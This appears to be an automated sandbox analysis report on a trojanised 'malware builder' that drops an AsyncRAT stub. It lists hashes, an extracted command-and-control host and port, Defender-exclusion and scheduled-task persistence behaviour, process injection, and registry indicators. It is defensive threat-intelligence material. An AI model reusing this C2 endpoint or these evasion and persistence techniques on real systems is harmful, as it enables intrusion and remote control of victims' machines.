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Analysis
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max time kernel
150s -
max time network
145s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
04/12/2024, 07:50
Static task
static1
Behavioral task
behavioral1
Sample
H-Malware Builder V55.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
H-Malware Builder V55.exe
Resource
win10v2004-20241007-en
General
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Target
H-Malware Builder V55.exe
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Size
407KB
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MD5
c8f6d76b4ae82978272bde392561c4f4
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SHA1
80447d36fcf88cc9caa806db53e22d9468cc31ee
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SHA256
c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e
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SHA512
10fa87f050a9ceb658e443317158ef8b1dbaa9e183ec61b5e5e42adb562f7918d996134aba7f0bbad852def4d6b0824c7b9716628b554194d0fd95974de6b2ad
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SSDEEP
12288:r5p4UNBN3aqeKNoRfwoZrHMBV9EwEcb8+DvtuWUb:r9N3aqPCRooZwBjEhcYcvYWUb
Malware Config
Extracted
asyncrat
1.0.7
Default
bay-helps.gl.at.ply.gg:36538
DcRatMutex_qwqdanchun
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delay
1
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install
false
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install_folder
%AppData%
Signatures
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Asyncrat family
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection svchost.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP svchost.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2688 created 428 2688 Stub.exe 5 -
Async RAT payload 2 IoCs
resource yara_rule behavioral1/files/0x0007000000004e74-12.dat family_asyncrat behavioral1/memory/2688-242-0x00000000005E0000-0x00000000005F2000-memory.dmp family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2112 powershell.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe H-Malware Builder V55.exe -
Executes dropped EXE 3 IoCs
pid Process 2688 Stub.exe 2724 H-Malware Builder V5.exe 2744 H-Malware Builder V5.exe -
Drops file in System32 directory 19 IoCs
description ioc Process File created C:\Windows\system32\perfc009.dat WMIADAP.EXE File created C:\Windows\system32\perfc00A.dat WMIADAP.EXE File created C:\Windows\system32\perfc00C.dat WMIADAP.EXE File created C:\Windows\system32\perfh010.dat WMIADAP.EXE File created C:\Windows\system32\PerfStringBackup.TMP WMIADAP.EXE File created C:\Windows\system32\perfc007.dat WMIADAP.EXE File created C:\Windows\system32\perfh00C.dat WMIADAP.EXE File created C:\Windows\system32\perfc010.dat WMIADAP.EXE File created C:\Windows\system32\perfc011.dat WMIADAP.EXE File created C:\Windows\system32\perfh011.dat WMIADAP.EXE File opened for modification C:\Windows\system32\PerfStringBackup.INI WMIADAP.EXE File created C:\Windows\System32\Tasks\$77Stub.exe svchost.exe File created C:\Windows\system32\wbem\Performance\WmiApRpl_new.h WMIADAP.EXE File created C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini WMIADAP.EXE File created C:\Windows\system32\perfh007.dat WMIADAP.EXE File created C:\Windows\system32\perfh009.dat WMIADAP.EXE File created C:\Windows\system32\perfh00A.dat WMIADAP.EXE File opened for modification C:\Windows\system32\wbem\Logs\wmiprov.log wmiprvse.exe File opened for modification C:\Windows\System32\Tasks\$77Stub.exe svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2688 set thread context of 2752 2688 Stub.exe 34 -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\inf\WmiApRpl\0009\WmiApRpl.ini WMIADAP.EXE File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File created C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE File opened for modification C:\Windows\inf\WmiApRpl\WmiApRpl.h WMIADAP.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore svchost.exe Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Toolbar Explorer.EXE -
Modifies registry class 55 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\FFlags = "1092616193" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 74003100000000002359a5291100557365727300600008000400efbeee3a851a2359a5292a000000e601000000000100000000000000000036000000000055007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000 Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\LogicalViewMode = "2" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\FFlags = "1092616209" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\MRUListEx = ffffffff Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Mode = "6" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 = 4c003100000000002359cd2a10204c6f63616c00380008000400efbe2359a5292359cd2a2a000000fe0100000000020000000000000000000000000000004c006f00630061006c00000014000000 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\GroupByKey:PID = "0" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4c0031000000000023598430100041646d696e00380008000400efbe2359a529235984302a00000030000000000004000000000000000000000000000000410064006d0069006e00000014000000 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 = 4a003100000000008459663e102054656d700000360008000400efbe2359a5298459663e2a000000ff010000000002000000000000000000000000000000540065006d007000000014000000 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\MRUListEx = 00000000ffffffff Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Rev = "0" Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "2" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9} Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = 00000000ffffffff Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f4225481e03947bc34db131e946b44c8dd50000 Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\GroupView = "0" Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\GroupByDirection = "1" Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 = 52003100000000002359a529122041707044617461003c0008000400efbe2359a5292359a5292a000000eb0100000000020000000000000000000000000000004100700070004400610074006100000016000000 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\MRUListEx = 00000000ffffffff Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\NodeSlot = "1" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{C4D98F09-6124-4FE0-9942-826416082DA9}\IconSize = "48" Explorer.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 888 SCHTASKS.exe 2428 SCHTASKS.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2112 powershell.exe 2688 Stub.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2508 powershell.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2076 WerFault.exe 2076 WerFault.exe 2076 WerFault.exe 2076 WerFault.exe 2076 WerFault.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe 2752 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1208 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2112 powershell.exe Token: SeDebugPrivilege 2688 Stub.exe Token: SeDebugPrivilege 2688 Stub.exe Token: SeDebugPrivilege 2752 dllhost.exe Token: SeAuditPrivilege 848 svchost.exe Token: SeDebugPrivilege 2508 powershell.exe Token: SeDebugPrivilege 2076 WerFault.exe Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 1492 conhost.exe 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2204 wrote to memory of 2112 2204 H-Malware Builder V55.exe 30 PID 2204 wrote to memory of 2112 2204 H-Malware Builder V55.exe 30 PID 2204 wrote to memory of 2112 2204 H-Malware Builder V55.exe 30 PID 2204 wrote to memory of 2688 2204 H-Malware Builder V55.exe 32 PID 2204 wrote to memory of 2688 2204 H-Malware Builder V55.exe 32 PID 2204 wrote to memory of 2688 2204 H-Malware Builder V55.exe 32 PID 2204 wrote to memory of 2724 2204 H-Malware Builder V55.exe 33 PID 2204 wrote to memory of 2724 2204 H-Malware Builder V55.exe 33 PID 2204 wrote to memory of 2724 2204 H-Malware Builder V55.exe 33 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2688 wrote to memory of 2752 2688 Stub.exe 34 PID 2752 wrote to memory of 428 2752 dllhost.exe 5 PID 2752 wrote to memory of 472 2752 dllhost.exe 6 PID 2752 wrote to memory of 488 2752 dllhost.exe 7 PID 2752 wrote to memory of 496 2752 dllhost.exe 8 PID 2752 wrote to memory of 612 2752 dllhost.exe 9 PID 2752 wrote to memory of 688 2752 dllhost.exe 10 PID 2752 wrote to memory of 756 2752 dllhost.exe 11 PID 2752 wrote to memory of 820 2752 dllhost.exe 12 PID 2752 wrote to memory of 848 2752 dllhost.exe 13 PID 2752 wrote to memory of 972 2752 dllhost.exe 15 PID 2752 wrote to memory of 276 2752 dllhost.exe 16 PID 2752 wrote to memory of 344 2752 dllhost.exe 17 PID 2752 wrote to memory of 1052 2752 dllhost.exe 18 PID 2752 wrote to memory of 1112 2752 dllhost.exe 19 PID 2752 wrote to memory of 1168 2752 dllhost.exe 20 PID 2688 wrote to memory of 2908 2688 Stub.exe 35 PID 2752 wrote to memory of 1208 2752 dllhost.exe 21 PID 2688 wrote to memory of 2908 2688 Stub.exe 35 PID 2688 wrote to memory of 2908 2688 Stub.exe 35 PID 2752 wrote to memory of 1268 2752 dllhost.exe 23 PID 2752 wrote to memory of 1588 2752 dllhost.exe 24 PID 2752 wrote to memory of 372 2752 dllhost.exe 25 PID 2752 wrote to memory of 2260 2752 dllhost.exe 26 PID 2752 wrote to memory of 2264 2752 dllhost.exe 27 PID 2752 wrote to memory of 2688 2752 dllhost.exe 32 PID 2752 wrote to memory of 2724 2752 dllhost.exe 33 PID 2752 wrote to memory of 2908 2752 dllhost.exe 35 PID 2752 wrote to memory of 1492 2752 dllhost.exe 36 PID 2688 wrote to memory of 888 2688 Stub.exe 37 PID 2688 wrote to memory of 888 2688 Stub.exe 37 PID 2688 wrote to memory of 888 2688 Stub.exe 37 PID 2752 wrote to memory of 888 2752 dllhost.exe 37 PID 2752 wrote to memory of 888 2752 dllhost.exe 37 PID 2752 wrote to memory of 1692 2752 dllhost.exe 38 PID 2908 wrote to memory of 2508 2908 cmd.exe 39 PID 2908 wrote to memory of 2508 2908 cmd.exe 39 PID 2908 wrote to memory of 2508 2908 cmd.exe 39 PID 2688 wrote to memory of 2428 2688 Stub.exe 40 PID 2688 wrote to memory of 2428 2688 Stub.exe 40 PID 2688 wrote to memory of 2428 2688 Stub.exe 40 PID 2752 wrote to memory of 2428 2752 dllhost.exe 40 PID 2752 wrote to memory of 2508 2752 dllhost.exe 39 PID 2752 wrote to memory of 2428 2752 dllhost.exe 40 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:428
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fd35c46a-3576-47ef-af65-faeae1a0c66c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2752
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:612
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}3⤵PID:1268
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe3⤵
- Drops file in System32 directory
PID:372
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}3⤵PID:2204
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}3⤵PID:1660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:688
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
- Modifies security service
- Modifies Internet Explorer settings
PID:756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:820
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:848 -
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:2932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:276
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1052
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1112
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C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"2⤵PID:1588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:2260
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:2264
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:488
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:496
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
